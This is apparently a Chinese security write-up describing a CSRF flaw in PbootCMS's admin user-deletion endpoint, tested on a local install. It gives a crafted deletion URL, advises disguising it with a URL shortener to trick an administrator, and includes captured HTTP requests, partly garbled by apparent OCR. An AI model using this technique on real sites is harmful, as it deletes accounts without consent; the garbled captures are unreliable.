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我将网站建立在本地，本来想测试添加用户的操作，但是发现这里有formcheck验证，所以失败了
[image: http://0.0.0.0:9988/0day/PbootCMS/img/14.png]
然后我想到了删除用户位置，首先我使用管理员账号登陆，在删除用户的操作时抓包。发现很简单。只有一个id来判断删除哪个用户
[image: http://0.0.0.0:9988/0day/PbootCMS/img/15.png]
于是我直接构造一个新的url，http://127.0.0.1/cve/p/admin.php/User/del/ucode/10004（上面是10003）
确认这个用户是存在的。然后访问http://127.0.0.1/cve/p/admin.php/User/del/ucode/10004
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删除成功
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但是这样很容易被熟悉的管理员识别，我们可以利用段网站来进行攻击。
短网址生成网站https://www.ft12.com/
http://127.0.0.1/cve/p/admin.php/User/del/ucode/10004
可以缩短为http://u6.gg/gPCcN
访问这个短网址，也可以变为http://127.0.0.1/cve/p/admin.php/User/del/ucode/10004触发漏洞
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Request Response

Headers | Hex | Render
POST /eve/p/admin.php/User/add HTTP/1.1 HTTP/1.1 200 OK

Host: 127.0.0.1 Date: Wed, 09 Jan 2019 14:44:41 GMT

User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:64.0) Gecko/64.0 Firefox/64.0 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9

Accept: text/html application/xhtml+xml, application/xml;q=0.9 */*;q=0.8 X-Powered-By: PHP/5.6.27

Accept-Language: zh-CN,zh;q=0.8 en-US;q=0.5 en;q=0.3 X-UA-Compatible: |[E=edge,chrome=1

Accept-Encoding: gzip, deflate Expires: Thu, 19 Nov 1981 08:52:00 GMT

Content-Type: application/x-www-form-urlencoded Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Length: 129 Pragma: no-cache

Referer: http://127.0.0.1/cve/p/admin. php/User/index
Cookie: Ig=cn; PbootSystem=qrkugd7 dnBrdogfk
PHPSESSID=gfkem4f109bp5j331pfivsces0;
Hm_Ivt_f6f37dc3416ca514857b78d0b158037 e
Hm_Ipvt_fBf37 dc3416ca514857h78d0b158037f=1547042355 <script type="text/javascript">alert( % . $ 2 42 5% K0 W R H S X! ");window. history.go(-1);</script>
Connection: close
Upgrade-Insecure-Requests: 1

Connection: close
qtsltod; Content-Type: text/html; charset=utf-8
Content-Length: 118

formcheck=aae34d7030e35f3ccc32ecbIfE683a748usermname=11218&realname=1118&pass
word=1234568&rpassword=1234568status=18&roles%5B0%5D=R101
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GET /cve/p/admin.php/User/del/ucode/10003 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:64.0) Gecko/64.0 Firefox/64.0

Accept: text/html application/xhtml+xml, application/xml;q=0.9 */*;q=0.8

Accept-Language: zh-CN,zh;q=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: lg=cn; PbootSystem=qrkugd7 dn8rdogfkvSagtsitod; PHPSESSID=gfkem4f109bp5j331pfivsce50; Hm_Ivt_f6f37dc3416ca514857h78d0b158037 e=1547042355;
Hm_Ipvt_fBf37dc3416ca514857b78d0b 158037 e=1547042355

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache
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